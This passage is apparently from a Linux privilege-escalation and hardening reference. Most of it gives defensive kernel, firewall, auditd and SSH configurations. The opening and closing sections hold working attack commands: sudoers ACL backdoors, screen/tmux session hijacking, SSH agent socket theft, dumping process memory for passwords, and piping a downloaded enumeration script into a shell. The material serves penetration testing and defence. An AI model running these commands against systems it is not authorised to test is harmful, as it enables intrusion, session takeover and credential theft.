# Wait for service restart
Writable Timers
# Modify timer to point to your service
# Unit=backdoor.service
Writable .socket Files
# Add to [Socket] section:
# ExecStartPre=/path/to/backdoor
D-Bus Exploitation
# Enumerate D-Bus services
busctl list
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
Logrotate Race Condition (< 3.18.0)
# Use logrotten: https://github.com/whotwagner/logrotten
# If you can write to log files processed by logrotate running as root
ACL Backdoors
# Check for hidden ACLs on sensitive files
getfacl /etc/sudoers.d/*
# If user has ACL write access despite restrictive mode bits:
echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
Screen/Tmux Session Hijacking
# List screen sessions
screen -ls
screen -ls <username>/
# Attach to another user's session
screen -dr <session>
screen -x [user]/[session_id]
# Tmux
tmux ls
tmux -S /tmp/dev_sess ls
tmux -S /tmp/dev_sess attach -t 0
SSH Forward Agent Exploitation
# If ForwardAgent yes is configured and you have access
# Find agent sockets
find /tmp -name "agent.*" 2>/dev/null
# Set SSH_AUTH_SOCK to the found socket
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.XXXXX
ssh-add -l # List available keys
ssh root@other-host # Use stolen keys
Process Memory Credential Extraction
# Dump process memory
gdb -p <FTP_PID>
(gdb) info proc mappings
(gdb) dump memory /tmp/mem_dump <START> <END>
strings /tmp/mem_dump | grep -i password
# mimipenguin (requires root)
# https://github.com/huntergregal/mimipenguin
15. Kernel Hardening Parameters
Complete sysctl.conf Hardening (from hardening-master)
# === Memory Protection ===
kernel.randomize_va_space = 2 # Full ASLR (mmap, stack, heap)
fs.suid_dumpable = 0 # Disable core dumps for SUID
kernel.core_uses_pid = 1 # Unique core dump names
# === Information Disclosure Prevention ===
kernel.dmesg_restrict = 1 # Restrict dmesg to CAP_SYSLOG
kernel.kptr_restrict = 2 # Hide kernel pointers from ALL users
kernel.perf_event_paranoid = 3 # Restrict perf events
kernel.yama.ptrace_scope = 2 # Only CAP_SYS_PTRACE can ptrace
# === Attack Surface Reduction ===
kernel.sysrq = 0 # Disable magic SysRq key
kernel.unprivileged_bpf_disabled = 1 # Disable unprivileged eBPF
dev.tty.ldisc_autoload = 0 # Disable TTY line discipline autoloading
net.core.bpf_jit_harden = 2 # Harden BPF JIT compiler
# === Panic Behavior ===
kernel.panic = 60 # Reboot after 60s on panic
kernel.panic_on_oops = 60 # Panic on kernel oops
# === Filesystem Protections ===
fs.protected_fifos = 2 # Restrict FIFO creation in world-writable sticky dirs
fs.protected_hardlinks = 1 # Restrict hardlink creation
fs.protected_symlinks = 1 # Restrict symlink following
# === IPv4 Network Hardening ===
net.ipv4.ip_forward = 0 # Disable IP forwarding
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.log_martians = 1 # Log martian packets
net.ipv4.conf.all.rp_filter = 1 # Strict reverse path filtering
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.all.shared_media = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.default.log_martians = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.default.shared_media = 0
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_challenge_ack_limit = 2147483647
net.ipv4.tcp_invalid_ratelimit = 500
net.ipv4.tcp_max_syn_backlog = 20480
net.ipv4.tcp_rfc1337 = 1 # Protect against TIME-WAIT assassination
net.ipv4.tcp_syn_retries = 5
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syncookies = 1 # SYN flood protection
# === IPv6 Network Hardening ===
net.ipv6.conf.all.accept_ra = 0 # Disable router advertisements
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.all.forwarding = 0
net.ipv6.conf.all.use_tempaddr = 2 # Privacy extensions
net.ipv6.conf.default.accept_ra = 0
net.ipv6.conf.default.accept_ra_defrtr = 0
net.ipv6.conf.default.accept_ra_pinfo = 0
net.ipv6.conf.default.accept_ra_rtr_pref = 0
net.ipv6.conf.default.accept_redirects = 0
net.ipv6.conf.default.accept_source_route = 0
net.ipv6.conf.default.autoconf = 0
net.ipv6.conf.default.dad_transmits = 0
net.ipv6.conf.default.max_addresses = 1
net.ipv6.conf.default.router_solicitations = 0
net.ipv6.conf.default.use_tempaddr = 2
# === Connection Tracking ===
net.netfilter.nf_conntrack_max = 2000000
net.netfilter.nf_conntrack_tcp_loose = 0
Additional Kernel Parameters (from kernel docs)
# === Module Loading Control ===
kernel.modules_disabled = 1 # Permanently disable module loading (irreversible!)
kernel.kexec_load_disabled = 1 # Disable kexec (irreversible)
# === io_uring ===
kernel.io_uring_disabled = 2 # Completely disable io_uring
# === GRUB Kernel Command Line ===
# lockdown=confidentiality # Enable kernel lockdown
# audit=1 audit_backlog_limit=8192 # Enable audit subsystem
16. UFW & Firewall Hardening
From hardening-master UFW Configuration
# Allow loopback
ufw allow in on lo
ufw allow out on lo
# Deny spoofed loopback
ufw deny in from 127.0.0.0/8
ufw deny in from ::1
# Enable logging
ufw logging on
# Default deny incoming
ufw default deny incoming
# Allow SSH from admin IPs only
ufw allow log from <ADMIN_IP> to any port <SSH_PORT> proto tcp
# Enable firewall
ufw --force enable
IPT_SYSCTL Integration
# Point UFW to use hardened sysctl
sed -i 's/IPT_SYSCTL=.*/IPT_SYSCTL=\/etc\/sysctl.conf/' /etc/default/ufw
17. Auditd Configuration
Auditd Daemon Settings
action_mail_acct = root
admin_space_left_action = halt # Halt on low audit space
max_log_file_action = keep_logs # Retain all audit logs
space_left_action = email # Email on low space
GRUB Audit Settings
GRUB_CMDLINE_LINUX="$GRUB_CMDLINE_LINUX audit=1 audit_backlog_limit=8192"
Complete Audit Rules (from hardening-master)
# === Privilege Escalation Monitoring ===
-w /bin/su -p x -k actions
-w /usr/bin/sudo -p x -k actions
-w /etc/sudoers -p wa -k actions
-w /etc/sudoers.d -p wa -k actions
# === Admin Activity in User Homes ===
-a always,exit -S all -F dir=/home/ -F uid=0 -C auid!=obj_uid -k admin-user-home
# === AppArmor ===
-w /etc/apparmor -p wa -k apparmor
-w /etc/apparmor.d -p wa -k apparmor
-w /sbin/apparmor_parser -p x -k apparmor-tools
-w /usr/sbin/aa-complain -p x -k apparmor-tools
-w /usr/sbin/aa-disable -p x -k apparmor-tools
-w /usr/sbin/aa-enforce -p x -k apparmor-tools
# === Audit Configuration Tampering ===
-w /etc/audisp -p wa -k audispconfig
-w /etc/audit -p wa -k auditconfig
-w /var/log/audit -p rwxa -k auditlog
-w /sbin/auditctl -p x -k audittools
-w /sbin/auditd -p x -k audittools
# === Cron ===
-w /etc/cron.allow -p wa -k cron
-w /etc/cron.d -p wa -k cron
-w /etc/cron.daily -p wa -k cron
-w /etc/cron.deny -p wa -k cron
-w /etc/cron.hourly -p wa -k cron
-w /etc/cron.monthly -p wa -k cron
-w /etc/cron.weekly -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/crontabs -p rwxa -k cron
# === Identity / Group Changes ===
-w /etc/group -p wa -k group-modification
-w /etc/gshadow -p wa -k group-modification
-w /etc/passwd -p wa -k group-modification
-w /etc/shadow -p wa -k group-modification
-w /etc/security/opasswd -p wa -k group-modification
-w /usr/sbin/addgroup -p x -k group-modification
-w /usr/sbin/groupadd -p x -k group-modification
-w /usr/sbin/groupmod -p x -k group-modification
-w /usr/sbin/adduser -p x -k user-modification
-w /usr/sbin/useradd -p x -k user-modification
-w /usr/sbin/usermod -p x -k user-modification
# === Kernel Modules ===
-w /etc/modprobe.conf -p wa -k modprobe
-w /etc/modprobe.d -p wa -k modprobe
-w /etc/modules -p wa -k modprobe
-a always,exit -F arch=b64 -S init_module -S delete_module -k modules
-a always,exit -F arch=b64 -S finit_module -k modules
-w /bin/kmod -p x -k modules
-w /sbin/insmod -p x -k modules
-w /sbin/modprobe -p x -k modules
-w /sbin/rmmod -p x -k modules
# === Mount Operations ===
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=-1 -k mounts
# === Network Configuration ===
-w /etc/hosts -p wa -k network-config
-w /etc/network -p wa -k network-config
-w /etc/netplan -p wa -k network-config
-a always,exit -F arch=b64 -S sethostname -S setdomainname -k system-locale
# === PAM ===
-w /etc/pam.d -p wa -k pam
-w /etc/security/limits.conf -p wa -k pam
# === SSH ===
-w /etc/ssh/sshd_config -p rwxa -k sshd
# === Login Monitoring ===
-w /etc/login.defs -p wa -k login
-w /var/log/faillog -p wa -k login
-w /var/log/lastlog -p wa -k login
-w /var/run/faillock -p wa -k login
# === Session Monitoring ===
-w /var/log/btmp -p wa -k session
-w /var/log/wtmp -p wa -k session
-w /var/run/utmp -p wa -k session
# === Library Path ===
-w /etc/ld.so.conf -p wa -k libpath
# === Sysctl Changes ===
-w /etc/sysctl.conf -p wa -k sysctl
# === Systemd ===
-w /bin/journalctl -p x -F key=systemd-tools
-w /bin/systemctl -p x -F key=systemd-tools
-w /etc/systemd -p wa -F key=systemd
-w /lib/systemd -p wa -F key=systemd
# === Time Changes ===
-a always,exit -F arch=b64 -S adjtimex -S settimeofday -k time-change
-a always,exit -F arch=b64 -S clock_settime -k time-change
# === Temp Directories ===
-w /tmp -p wxa -k tmp
-w /var/tmp -p wxa -k tmp
# === Special Files ===
-a always,exit -F arch=b64 -S mknod,mknodat -k specialfiles
# === Privileged Commands (SUID monitoring) ===
-a always,exit -F path=/usr/bin/passwd -F perm=x -F auid>=1000 -F auid!=-1 -k privileged
-a always,exit -F path=/usr/bin/sudo -F perm=x -F auid>=1000 -F auid!=-1 -k privileged
-a always,exit -F path=/usr/bin/su -F perm=x -F auid>=1000 -F auid!=-1 -k privileged
-a always,exit -F path=/usr/bin/pkexec -F perm=x -F auid>=1000 -F auid!=-1 -k privileged
-a always,exit -F path=/usr/bin/ssh-agent -F perm=x -F auid>=1000 -F auid!=-1 -k privileged
-a always,exit -F path=/usr/bin/crontab -F perm=x -F auid>=1000 -F auid!=-1 -k privileged
# === Power State ===
-w /sbin/halt -p x -k power
-w /sbin/poweroff -p x -k power
-w /sbin/reboot -p x -k power
-w /sbin/shutdown -p x -k power
# === Password Changes ===
-w /usr/bin/passwd -p x -k passwd-modification
18. SSH Hardening
SSHD Configuration (from hardening-master)
# Authentication
PermitRootLogin no
PermitEmptyPasswords no
MaxAuthTries 3
HostbasedAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no
IgnoreUserKnownHosts yes
PermitUserEnvironment no
# Access Control
AllowGroups <SSH_GROUPS>
MaxSessions 3
MaxStartups 10:30:60
LoginGraceTime 20
StrictModes yes
# Forwarding
X11Forwarding no
AllowTcpForwarding no
AllowAgentForwarding no
# Network
TCPKeepAlive no
ClientAliveInterval 200
ClientAliveCountMax 3
UseDNS no
Compression no
# Logging
LogLevel VERBOSE
PrintLastLog yes
Banner /etc/issue.net
# Crypto
KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes256-ctr
Macs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256
# Key Exchange
RekeyLimit 512M 1h
# Subsystem
Subsystem sftp internal-sftp
SSH Client Hardening
# /etc/ssh/ssh_config
HashKnownHosts yes
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes256-ctr
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256
Moduli Hardening
# Remove weak DH moduli (< 3072 bits)
awk '$5 >= 3071' /etc/ssh/moduli > /etc/ssh/moduli.tmp
mv /etc/ssh/moduli.tmp /etc/ssh/moduli
19. Module & Filesystem Hardening
Disable Unnecessary Filesystems
# /etc/modprobe.d/hardening-fs.conf
install cramfs /bin/true
install freevxfs /bin/true
install jffs2 /bin/true
install ksmbd /bin/true
install hfs /bin/true
install hfsplus /bin/true
install udf /bin/true
Disable Unnecessary Kernel Modules
# /etc/modprobe.d/hardening-mod.conf
install bluetooth /bin/true
install bnep /bin/true
install btusb /bin/true
install cpia2 /bin/true
install firewire-core /bin/true
install floppy /bin/true
install n_hdlc /bin/true
install net-pf-31 /bin/true
install pcspkr /bin/true
install soundcore /bin/true
install thunderbolt /bin/true
install usb-midi /bin/true
install usb-storage /bin/true
install uvcvideo /bin/true
install v4l2_common /bin/true
Disable Unnecessary Network Protocols
# /etc/modprobe.d/hardening-net.conf
install dccp /bin/true
install sctp /bin/true
install rds /bin/true
install tipc /bin/true
SUID Bit Removal
# Remove SUID from non-essential binaries
# List current SUID binaries:
find / -perm -4000 -type f 2>/dev/null
# Remove SUID from shells listed in /etc/shells
while read -r shell; do
[ -x "$shell" ] && chmod -s "$shell"
done < /etc/shells
# Use dpkg-statoverride to persist across package updates
dpkg-statoverride --add root root 0755 /usr/bin/some-binary
Process Limits
# /etc/security/limits.conf
* hard maxlogins 10
* hard core 0 # Disable core dumps
* soft nproc 512 # Soft process limit
* hard nproc 1024 # Hard process limit
Kernel Lockdown
# GRUB parameter
GRUB_CMDLINE_LINUX="$GRUB_CMDLINE_LINUX lockdown=confidentiality"
# conntrack hashsize
echo 1048576 > /sys/module/nf_conntrack/parameters/hashsize
20. Automated Enumeration Tools
LinPEAS (Primary Tool)
# Standard run
./linpeas.sh
# With brute force (-a flag)
./linpeas.sh -a
# Network scanning mode
./linpeas.sh -t # Auto-discover + scan
./linpeas.sh -d 10.10.10.0/24 # Host discovery
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443 # Custom ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80 # Single host scan
# Download and execute
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinEnum
# https://github.com/rebootuser/LinEnum
./LinEnum.sh -t -e /tmp/output -r report
Linux Smart Enumeration (LSE)
# https://github.com/diego-treitos/linux-smart-enumeration
./lse.sh -l 1 # Level 1 (more detail)
./lse.sh -l 2 # Level 2 (maximum detail)
Linux Exploit Suggester
# https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh
# https://github.com/The-Z-Labs/linux-exploit-suggester
./les.sh
pspy (Process Monitor)
# https://github.com/DominicBreuker/pspy
./pspy64 # Monitor all process creation without root
./pspy32 # 32-bit version
Other Tools
# PrivescCheck (https://github.com/itm4n/PrivescCheck)
# mimipenguin (https://github.com/huntergregal/mimipenguin) -- memory credential extraction
# CDK (https://github.com/cdk-team/CDK) -- container enumeration + escape
# deepce (https://github.com/stealthcopter/deepce) -- Docker enumeration + escape
# amicontained (https://github.com/genuinetools/amicontained) -- container capability check
Quick Reference: Privesc Checklist
[ ] Kernel version → exploit-suggester
[ ] sudo -l → GTFOBins for each allowed command
[ ] SUID/SGID binaries → GTFOBins, custom binaries
[ ] Capabilities → getcap -r / 2>/dev/null
[ ] Cron jobs → writable scripts, PATH hijacking, wildcard injection
[ ] Writable /etc/passwd or /etc/shadow
[ ] Writable .service files, .timer files, .socket files
[ ] Docker socket accessible → container escape
[ ] NFS with no_root_squash
[ ] Internal services on localhost (ss -tulpn | grep 127)
[ ] SSH keys, agent forwarding
[ ] LD_PRELOAD/LD_LIBRARY_PATH in sudo env_keep
[ ] Writable PATH directories
[ ] Process memory credentials
[ ] Group membership (docker, lxd, disk, adm, video, shadow, staff)
[ ] ACLs on sensitive files (getfacl)
[ ] Screen/tmux sessions
[ ] Logrotate vulnerabilities
[ ] Writable profile/bashrc files
[ ] Interesting files: backups, databases, configs with passwords